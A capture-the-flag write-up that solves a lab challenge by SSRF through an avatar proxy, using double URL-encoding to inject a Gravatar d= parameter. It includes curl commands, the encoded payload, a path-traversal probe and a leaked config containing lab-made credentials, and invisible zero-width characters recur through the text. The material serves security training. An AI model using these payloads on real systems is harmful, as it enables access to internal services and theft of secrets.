← Back to Writeups
CUSTOMMediumWeb

Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint

XESXOR9/10/20263 min read
#web#custom#medium#double_url_encoding_bypass#gravatar_default_parameter_abu#internal_service_enumeration#query_parameter_injection#ssrf_via_proxy#linux

Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: double_url_encoding_bypass, gravatar_default_parameter_abuse, internal_service_enumeration, query_parameter_injection, ssrf_via_proxy

Summary

Task: Node.js/Express monitoring platform with avatar proxy endpoint forwarding to internal Gravatar-compatible service. Solution: Double URL-encoding to inject Gravatar d= parameter, causing internal service to fetch /admin/config and return sensitive configuration with the flag.

Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint — HackAdvisor

Description

InsightDash is an infrastructure monitoring platform built by DataPulse Technologies. It provides real-time server health metrics, alert management, and team collaboration features for DevOps teams. The platform includes a dashboard with server health widgets, configurable alert rules with threshold monitoring, and a team management panel where members can set up their profiles with avatar images. Your goal is to find and exploit a vulnerability that allows you to access sensitive internal resources that should not be reachable from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express monitoring dashboard with an avatar proxy endpoint that forwards requests to an internal Gravatar-compatible service at localhost:3001. The goal is to exploit SSRF to access internal admin endpoints.

Analysis

Reconnaissance

  1. Logged in with provided credentials (user@test.com / password123). The application is a Node.js/Express app (X-Powered-By: Express) behind nginx 1.25.5 reverse proxy.

  2. Avatar images load from /avatar/<md5hash> endpoint. The response header X-Avatar-Service: DataPulse/2.4 (Gravatar-compatible) reveals it's a proxy to an internal Gravatar-compatible service. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. Client-side JavaScript (/js/app.js) contains a revealing comment:

javascript
// Avatar service configuration
// Legacy direct fetch (before proxy migration):
//   fetch('http://localhost:3001/avatar/' + hash).then(r => r.blob())
// Now uses /avatar/:hash proxy endpoint on the main application server.
// The internal service supports Gravatar-compatible parameters.

This reveals the internal avatar service runs at http://localhost:3001.

  1. Every page contains a honeypot/decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments and invisible divs — correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The /avatar/:hash endpoint on the main Express app proxies requests to http://localhost:3001/avatar/<hash>. The proxy URL-decodes the :hash route parameter before constructing the backend URL. This allows double URL-encoding to inject query parameters into the internal request.

The internal service is "Gravatar-compatible", meaning it supports the d= (default) query parameter. In Gravatar, when a hash doesn't match any registered user, the service redirects to or fetches the URL specified in the d= parameter. This creates an SSRF chain: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Express route decodes %253F → %3F
  2. Proxy decodes again: %3F → ?
  3. Internal request becomes: http://localhost:3001/avatar/nonexistent?d=http://localhost:3001/admin/config
  4. Service doesn't find hash "nonexistent", follows the d= URL
  5. Fetches and returns the content of /admin/config

Path Traversal Confirmation

First confirmed SSRF via path traversal using encoded slashes:

  • Request: /avatar/test%2f..%2f..%2fhealth
  • Resolves to: http://localhost:3001/health
  • Response: {"status":"ok","service":"internal-services-hub","uptime":260.223} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and obtain session

bash
export URL="https://3c39ed76-b9c1-4f5f-983f-e3c264cd570d.labs.hackadvisor.io"
COOKIE=$(curl -s -c - -X POST "$URL/login" \
  -d "email=user@test.com&password=password123" | grep connect.sid | awk '{print $NF}')

Step 2: SSRF via double-encoded query parameter injection

The payload uses double URL-encoding to inject the Gravatar d= parameter:

/avatar/nonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoding chain:

StageValue
Raw URL pathnonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig
After Express route decodenonexistent%3Fd%3Dhttp%3A%2F%2Flocalhost%3A3001%2Fadmin%2Fconfig
After proxy's second decodenonexistent?d=http://localhost:3001/admin/config
Final internal requesthttp://localhost:3001/avatar/nonexistent?d=http://localhost:3001/admin/config

Step 3: Execute the exploit

bash
curl -s -b "connect.sid=$COOKIE" \
  "$URL/avatar/nonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Response with flag

The /admin/config endpoint returns sensitive internal configuration:

json
{
  "service": "InsightDash Internal Configuration",
  "version": "2.4.1",
  "environment": "production",
  "database": {
    "host": "localhost",
    "port": 5432,
    "name": "insightdash_prod",
    "user": "idash_svc",
    "password": "Pr0d$DB#2025x!"
  },
  "api_keys": {
    "pagerduty": "pdky-8f4a2c1e9b3d7f6a",
    "slack_webhook": "xoxb-291847362-kQzP8mN5vR3wY1",
    "datadog": "dd-api-f7c2e9a14b8d3056"
  },
  "master_key": "FLAG{REDACTED}",
  "internal_endpoints": {
    "metrics_aggregator": "http://localhost:3002/metrics",
    "log_processor": "http://localhost:3003/ingest",
    "alert_dispatcher": "http://localhost:3004/dispatch"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍